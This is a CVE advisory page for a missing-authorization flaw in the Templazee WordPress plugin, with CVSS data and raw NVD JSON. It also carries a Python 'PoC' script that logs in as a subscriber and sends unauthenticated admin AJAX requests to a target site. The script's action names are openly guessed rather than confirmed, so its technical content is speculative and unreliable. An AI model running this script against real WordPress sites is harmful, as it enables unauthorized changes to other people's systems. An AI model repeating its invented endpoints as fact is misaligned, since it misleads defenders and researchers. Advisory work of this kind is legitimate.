Security Vulnerability Report
中文
CVE-2025-49949 CVSS 5.4 MEDIUM

CVE-2025-49949

Published: 2025-10-22 15:15:41
Last Modified: 2026-04-27 20:16:19

Description

Missing Authorization vulnerability in templazee Templazee templazee allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Templazee: from n/a through <= 1.0.2.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Templazee WordPress Plugin <= 1.0.2
Templazee (从任意版本到1.0.2)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49949 PoC - Templazee Missing Authorization # Author: Security Researcher # Date: 2025-10-22 import requests import sys def exploit_templazee(target_url, username, password): """ Exploit for CVE-2025-49949: Templazee Missing Authorization This PoC demonstrates how a low-privilege user can access admin functions. """ # Setup session session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Logging in as low-privilege user...") login_response = session.post(login_url, data=login_data) if 'loggedout' in login_response.text or login_response.status_code != 200: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Identify vulnerable AJAX action (requires reverse engineering) # Common vulnerable actions in Templazee might include: vulnerable_actions = [ 'templazee_save_settings', 'templazee_update_config', 'templazee_modify_template', 'templazee_admin_action' ] # Step 3: Exploit the missing authorization ajax_url = f"{target_url}/wp-admin/admin-ajax.php" for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': '', # May not be required due to missing auth check '_wp_http_referer': '/wp-admin/admin.php?page=templazee-settings' } print(f"[*] Attempting to exploit action: {action}") response = session.post(ajax_url, data=exploit_data) # Check for successful exploitation indicators if response.status_code == 200: if 'success' in response.text or '"status":1' in response.text: print(f"[+] Potential exploitation successful with action: {action}") print(f"[+] Response: {response.text[:500]}") return True print("[-] Exploitation attempts completed. Check manually.") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-49949.py <target_url> <username> <password>") print("Example: python cve-2025-49949.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_templazee(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49949", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:41.250", "lastModified": "2026-04-27T20:16:18.780", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in templazee Templazee templazee allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Templazee: from n/a through <= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/templazee/vulnerability/wordpress-templazee-plugin-1-0-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}